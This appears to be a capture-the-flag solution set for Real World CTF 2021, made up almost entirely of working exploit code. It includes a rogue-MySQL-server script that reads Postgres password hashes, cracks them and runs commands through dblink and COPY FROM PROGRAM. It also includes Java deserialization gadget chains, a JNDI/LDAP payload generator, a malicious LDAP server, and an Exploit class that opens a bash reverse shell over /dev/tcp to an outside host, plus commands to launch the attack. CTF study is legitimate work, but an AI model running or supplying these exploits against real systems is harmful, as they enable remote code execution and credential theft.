Rwctf 2021

services:
  web:
    build: .
    platform: linux/amd64
    volumes:
      - ./html/:/var/www/html/
      - ./start.sh:/start.sh
    entrypoint: sh /start.sh
    ports:
      - "60080:80"

<?php
error_reporting(0);
if(!$sql=(string)$_GET["sql"]){
  show_source(__FILE__);
  die();
}
header('Content-Type: text/plain');
if(strlen($sql)>100){
  die('That query is too long ;_;');
}
if(!pg_pconnect('dbname=postgres user=realuser')){
  die('DB gone ;_;');
}
if($query = pg_query($sql)){
  print_r(pg_fetch_all($query));
} else {
  die('._.?');
}

su postgres -c "psql -c 'ALTER USER postgres WITH ENCRYPTED PASSWORD \$\$`head /dev/urandom | tr -dc '0-9a-z' | fold -w 5 | head -n1`\$\$;'"

if (!superuser())
{
    if (!PQconnectionUsedPassword(conn))
    {
        PQfinish(conn);
        ereport(ERROR, ...);
    }
}

#define AuthIdRelationId 1260

SELECT oid FROM pg_class WHERE relname='pg_authid';

SELECT relisshared FROM pg_class WHERE relname='pg_authid'
# t

#!/usr/bin/env python3
import hashlib
import itertools
import re
import socket
import string
import struct
import sys
import threading
import time
import urllib.parse
import urllib.request


def mysql_packet(payload, seq):
    return struct.pack("<I", len(payload))[:3] + struct.pack("B", seq) + payload


def read_mysql_packet(conn):
    header = b""
    while len(header) < 4:
        chunk = conn.recv(4 - len(header))
        if not chunk:
            return None, None
        header += chunk
    length = struct.unpack("<I", header[:3] + b"\x00")[0]
    seq = header[3]
    if length == 0:
        return b"", seq
    data = b""
    while len(data) < length:
        chunk = conn.recv(length - len(data))
        if not chunk:
            return None, None
        data += chunk
    return data, seq


def rogue_mysql_server(port, target_file, result):
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", port))
    srv.listen(1)
    srv.settimeout(30)
    try:
        conn, _ = srv.accept()
    except socket.timeout:
        srv.close()
        return

    caps = 1 | 2 | 4 | 8 | 128 | 512 | 8192 | 32768 | 0x10000 | 0x20000 | 0x80000
    greeting = b"\x0a" + b"5.7.42\x00" + struct.pack("<I", 1)
    greeting += b"\x01\x02\x03\x04\x05\x06\x07\x08" + b"\x00"
    greeting += struct.pack("<H", caps & 0xFFFF) + b"\x21"
    greeting += struct.pack("<H", 0x0002) + struct.pack("<H", (caps >> 16) & 0xFFFF)
    greeting += b"\x15" + b"\x00" * 10
    greeting += b"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x00"
    greeting += b"mysql_native_password\x00"
    conn.sendall(mysql_packet(greeting, 0))

    payload, seq = read_mysql_packet(conn)
    if payload is None:
        conn.close()
        srv.close()
        return

    ok = b"\x00\x00\x00" + struct.pack("<H", 0x0002) + struct.pack("<H", 0)
    conn.sendall(mysql_packet(ok, seq + 1))

    while True:
        payload, seq = read_mysql_packet(conn)
        if payload is None or len(payload) == 0:
            break
        if payload[0] == 3:
            conn.sendall(mysql_packet(b"\xfb" + target_file.encode(), seq + 1))
            file_data = b""
            while True:
                fp, fseq = read_mysql_packet(conn)
                if fp is None or len(fp) == 0:
                    break
                file_data += fp
            conn.sendall(mysql_packet(ok, fseq + 1))
            if file_data:
                result["data"] = file_data
            break
        elif payload[0] == 1:
            break
        else:
            conn.sendall(mysql_packet(ok, seq + 1))

    conn.close()
    srv.close()


def crack_postgres_password(md5_hash):
    target = md5_hash[3:]
    charset = string.digits + string.ascii_lowercase
    for combo in itertools.product(charset, repeat=5):
        pw = "".join(combo)
        if hashlib.md5((pw + "postgres").encode()).hexdigest() == target:
            return pw
    return None


def sql_query(base_url, sql):
    url = base_url + "?" + urllib.parse.urlencode({"sql": sql})
    with urllib.request.urlopen(url, timeout=15) as resp:
        return resp.read().decode("utf-8", "replace")


def main():
    if len(sys.argv) < 3:
        print("usage: exp.py <target_url> <mysql_host>")
        sys.exit(1)
    base_url = sys.argv[1].rstrip("/")
    mysql_host = sys.argv[2]

    rogue_port = 13306
    pg_authid_path = "/var/lib/postgresql/10/main/global/1260"
    result = {}

    server_thread = threading.Thread(
        target=rogue_mysql_server, args=(rogue_port, pg_authid_path, result)
    )
    server_thread.daemon = True
    server_thread.start()
    time.sleep(0.3)

    sql_query(base_url, "DROP FOREIGN TABLE IF EXISTS t")
    sql_query(base_url, "DROP USER MAPPING IF EXISTS FOR realuser SERVER s")
    sql_query(base_url, "DROP SERVER IF EXISTS s")
    sql_query(
        base_url,
        "CREATE SERVER s FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host '%s',port '%d')"
        % (mysql_host, rogue_port),
    )
    sql_query(
        base_url,
        "CREATE USER MAPPING FOR realuser SERVER s OPTIONS(username 'a',password 'b')",
    )
    sql_query(
        base_url, "CREATE FOREIGN TABLE t(s text) SERVER s OPTIONS(table_name 't')"
    )

    sql_query(base_url, "SELECT * FROM t")
    server_thread.join(timeout=5)

    if "data" not in result:
        print("[-] failed to read pg_authid")
        sys.exit(1)

    matches = re.findall(rb"md5[0-9a-f]{32}", result["data"])
    if not matches:
        print("[-] no md5 hash found in pg_authid")
        sys.exit(1)

    pg_hash = matches[0].decode()
    password = crack_postgres_password(pg_hash)
    if not password:
        print("[-] failed to crack password")
        sys.exit(1)

    conn_str = "host=127.1 user=postgres password=%s" % password

    sql_query(base_url, "DROP TABLE IF EXISTS f")
    sql_query(base_url, "SELECT dblink_exec('%s','CREATE TABLE f(s text)')" % conn_str)
    sql_query(
        base_url,
        "SELECT dblink_exec('%s','COPY f FROM PROGRAM ''/readflag''')" % conn_str,
    )
    flag = sql_query(
        base_url,
        "SELECT * FROM dblink('%s','SELECT s FROM f') AS t(s text)" % conn_str,
    )
    print(flag)


if __name__ == "__main__":
    main()


# python3 exp.py http://localhost:60080 host.docker.internal

public class ObjectServlet extends HttpServlet {
    private ClassLoader appClassLoader;

    public void init(ServletConfig config) throws ServletException {
        super.init(config);
        String realPath = config.getServletContext().getRealPath("/");
        File libDir = new File(realPath + File.separator + "WEB-INF" + File.separator + File.separator + "lib");
        if (libDir.exists() && libDir.isDirectory()) {
            File[] jars = libDir.listFiles();
            if (jars != null) {
                URL[] urls = new URL[jars.length + 1];
                for (int i = 0; i < jars.length; i++) {
                    if (jars[i].getName().endsWith(".jar")) {
                        urls[i] = jars[i].toURI().toURL();
                    }
                }
                File classesDir = new File(realPath + File.separator + "WEB-INF" + File.separator + File.separator + "classes");
                if (classesDir.exists() && classesDir.isDirectory()) {
                    urls[jars.length] = classesDir.toURI().toURL();
                }
                appClassLoader = new URLClassLoader(urls);
            }
        }
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter out = resp.getWriter();
        ClassLoader oldCl = Thread.currentThread().getContextClassLoader();
        Thread.currentThread().setContextClassLoader(appClassLoader);
        try {
            ClassLoaderObjectInputStream ois = new ClassLoaderObjectInputStream(appClassLoader, req.getInputStream());
            Object obj = ois.readObject();
            ois.close();
            out.print(obj);
        } catch (ClassNotFoundException e) {
            e.printStackTrace(out);
        } finally {
            Thread.currentThread().setContextClassLoader(oldCl);
        }
    }
}

public class ClassLoaderObjectInputStream extends ObjectInputStream {
    private final ClassLoader classLoader;

    public ClassLoaderObjectInputStream(ClassLoader classLoader, InputStream in) throws IOException, StreamCorruptedException {
        super(in);
        this.classLoader = classLoader;
    }

    protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        return Class.forName(desc.getName(), false, classLoader);
    }

    protected Class resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
        Class[] interfaceClasses = new Class[interfaces.length];
        for (int i = 0; i < interfaces.length; i++) {
            interfaceClasses[i] = Class.forName(interfaces[i], false, classLoader);
        }
        return Proxy.getProxyClass(classLoader, interfaceClasses);
    }
}

package Base.Unserialize.shiro;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1shiro {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Base.Unserialize.shiro.Evil.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        byte[] data = serialize(queue);
        unserialize(data);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }
}

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    int size = s.readInt();
    buildFromSorted(size, null, s, null);
}

private void putForCreate(Object key, Object value) {
    Object k = maskNull(key);
    int hash = hash(k);
    int index = indexFor(hash, table.length);
    for (Entry e = table[index]; e != null; e = e.next) {
        if (e.hash == hash && eq(k, e.key)) {
            e.value = value;
            return;
        }
    }
    createEntry(hash, k, value, index);
}

public boolean equals(Object o) {
    if (o == this) return true;
    if (!(o instanceof Map)) return false;
    Map m = (Map) o;
    if (m.size() != size()) return false;
    Iterator i = entrySet().iterator();
    while (i.hasNext()) {
        Map.Entry e = (Map.Entry) i.next();
        Object key = e.getKey();
        Object value = e.getValue();
        if (value == null) {
            if (!(m.get(key) == null && m.containsKey(key))) return false;
        } else {
            if (!value.equals(m.get(key))) return false;
        }
    }
    return true;
}

final class LdapAttribute extends BasicAttribute {
    private transient DirContext baseCtx;
    private Name rdn;
    private String baseCtxURL;
    private Hashtable baseCtxEnv;
}

public DirContext getAttributeDefinition() throws NamingException {
    DirContext schema = getBaseCtx().getSchema(rdn);
    return (DirContext) schema.lookup("AttributeDefinition/" + getID());
}

private DirContext getBaseCtx() throws NamingException {
    if (baseCtx != null) return baseCtx;
    if (baseCtxEnv == null) baseCtxEnv = new Hashtable(3);
    baseCtxEnv.put("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
    baseCtxEnv.put("java.naming.provider.url", baseCtxURL);
    baseCtx = new InitialDirContext(baseCtxEnv);
    return baseCtx;
}

import org.apache.commons.beanutils.BeanComparator;

import javax.naming.CompositeName;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.TreeMap;

public class PayloadGenerator {

    public static void main(String[] args) throws Exception {

        String ldapCtxUrl = args.length > 0 ? args[0] : "ldap://host.docker.internal:1389";

        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ctor = ldapAttributeClazz.getDeclaredConstructor(new Class[]{String.class});
        ctor.setAccessible(true);
        Object ldapAttribute = ctor.newInstance(new Object[]{"name"});

        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);

        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));

        BeanComparator comparator = new BeanComparator("class");
        TreeMap treeMap1 = new TreeMap(comparator);
        treeMap1.put(ldapAttribute, "aaa");
        TreeMap treeMap2 = new TreeMap(comparator);
        treeMap2.put(ldapAttribute, "aaa");

        HashMap hashMap = new HashMap();
        hashMap.put(treeMap1, "bbb");
        hashMap.put(treeMap2, "ccc");

        Field propertyField = BeanComparator.class.getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(comparator, "attributeDefinition");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
        oos.writeObject(hashMap);
        oos.close();
    }
}

import socket
import struct
import sys

def ber_len(n):
    if n < 0x80: return bytes([n])
    elif n < 0x100: return bytes([0x81, n])
    elif n < 0x10000: return bytes([0x82, n >> 8, n & 0xff])
    else: return bytes([0x83, (n >> 24) & 0xff, (n >> 16) & 0xff, (n >> 8) & 0xff, n & 0xff])

def tlv(tag, data):
    if isinstance(data, str): data = data.encode()
    return bytes([tag]) + ber_len(len(data)) + data

def seq(*items): return tlv(0x30, b''.join(items))
def integer(val):
    if val < 0x80: return tlv(0x02, bytes([val]))
    elif val < 0x8000: return tlv(0x02, struct.pack('>H', val))
    else: return tlv(0x02, struct.pack('>I', val))
def octet_string(s):
    if isinstance(s, str): s = s.encode()
    return tlv(0x04, s)
def enumerated(val): return tlv(0x0a, bytes([val]))
def set_of(*items): return tlv(0x31, b''.join(items))
def ldap_message(msg_id, protocol_op): return seq(integer(msg_id), protocol_op)

def bind_response(msg_id):
    resp = enumerated(0) + octet_string("") + octet_string("")
    return ldap_message(msg_id, tlv(0x61, resp))

def search_result_entry(msg_id, dn, attributes):
    attrs = b''
    for attr_type, attr_vals in attributes:
        vals = set_of(*[octet_string(v) for v in attr_vals])
        attrs += seq(octet_string(attr_type), vals)
    entry = octet_string(dn) + seq(attrs)
    return ldap_message(msg_id, tlv(0x64, entry))

def search_result_done(msg_id):
    done = enumerated(0) + octet_string("") + octet_string("")
    return ldap_message(msg_id, tlv(0x65, done))

def parse_message_id(data):
    if len(data) < 2 or data[0] != 0x30: return 1
    idx = 1
    if data[idx] & 0x80:
        idx += 1 + (data[idx] & 0x7f)
    else:
        idx += 1
    if data[idx] != 0x02: return 1
    idx += 1
    int_len = data[idx]
    idx += 1
    return int.from_bytes(data[idx:idx+int_len], 'big')

def handle_client(conn, codebase, factory_class):
    try:
        data = conn.recv(4096)
        msg_id = parse_message_id(data)
        conn.sendall(bind_response(msg_id))
        data = conn.recv(4096)
        msg_id = parse_message_id(data)
        attributes = [
            ("javaClassName", ["java.lang.String"]),
            ("javaCodeBase", [codebase]),
            ("objectClass", ["javaNamingReference", "top"]),
            ("javaFactory", [factory_class]),
        ]
        conn.sendall(search_result_entry(msg_id, "dc=example,dc=com", attributes))
        conn.sendall(search_result_done(msg_id))
    finally:
        conn.close()

def main():
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 1389
    codebase = sys.argv[2] if len(sys.argv) > 2 else "http://host.docker.internal:8888/"
    factory_class = sys.argv[3] if len(sys.argv) > 3 else "Exploit"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(("0.0.0.0", port))
    sock.listen(5)
    while True:
        conn, addr = sock.accept()
        handle_client(conn, codebase, factory_class)

if __name__ == "__main__":
    main()

public final class Bootstrap {
    private static Bootstrap daemon;
    private Object catalinaDaemon;
    protected ClassLoader commonLoader;
    protected ClassLoader catalinaLoader;  // 就是 ServerClassLoader
    protected ClassLoader sharedLoader;
}

Class bootClass = Class.forName("org.apache.catalina.startup.Bootstrap");
Field daemonField = bootClass.getDeclaredField("daemon");
daemonField.setAccessible(true);
Object daemon = daemonField.get(null);

Field catLoaderField = bootClass.getDeclaredField("catalinaLoader");
catLoaderField.setAccessible(true);
ClassLoader serverCL = (ClassLoader) catLoaderField.get(daemon);

void setFilterDef(FilterDef filterDef) throws ... {
    this.filterDef = filterDef;
    if (filterDef != null) {
        String filterClass = filterDef.getFilterClass();
        Class clazz = Class.forName(filterClass);
        this.filter = (Filter) clazz.newInstance();
    }
}

import java.util.Hashtable;
import javax.naming.*;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable env) throws Exception {
        String ip = "host.docker.internal";
        int port = 6666;
        String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"};
        Runtime.getRuntime().exec(cmd);
        return null;
    }
}

JDK7=/Library/Java/JavaVirtualMachines/jdk1.7.0_21.jdk/Contents/Home

$JDK7/bin/javac -source 1.4 -target 1.4 \
  -bootclasspath rt.jar:jce.jar \
  Exploit.java

$JDK7/bin/javac -source 1.4 -target 1.4 \
  -bootclasspath rt.jar:jce.jar \
  -classpath commons-beanutils.jar:commons-collections.jar:commons-logging-1.0.4.jar:log4j-1.2.8.jar \
  PayloadGenerator.java


docker cp PayloadGenerator.class oldsystem:/tmp/
docker exec oldsystem sh -c 'cd /tmp && /opt/jdk/bin/java \
  -classpath .:/opt/tomcat/webapps/ROOT/WEB-INF/lib/commons-beanutils.jar:\
/opt/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections.jar:\
/opt/tomcat/webapps/ROOT/WEB-INF/lib/commons-logging-1.0.4.jar:\
/opt/tomcat/webapps/ROOT/WEB-INF/lib/log4j-1.2.8.jar \
  PayloadGenerator'
docker cp oldsystem:/tmp/object.ser .


cd exploit/
python3 -m http.server 8888 &
# python3 ldap_server.py LDAPort codebase factoryClassName
python3 ldap_server.py 1389 "http://host.docker.internal:8888/" "Exploit" &
nc -lvn 6666
curl http://localhost:28080/object --data-binary @object.ser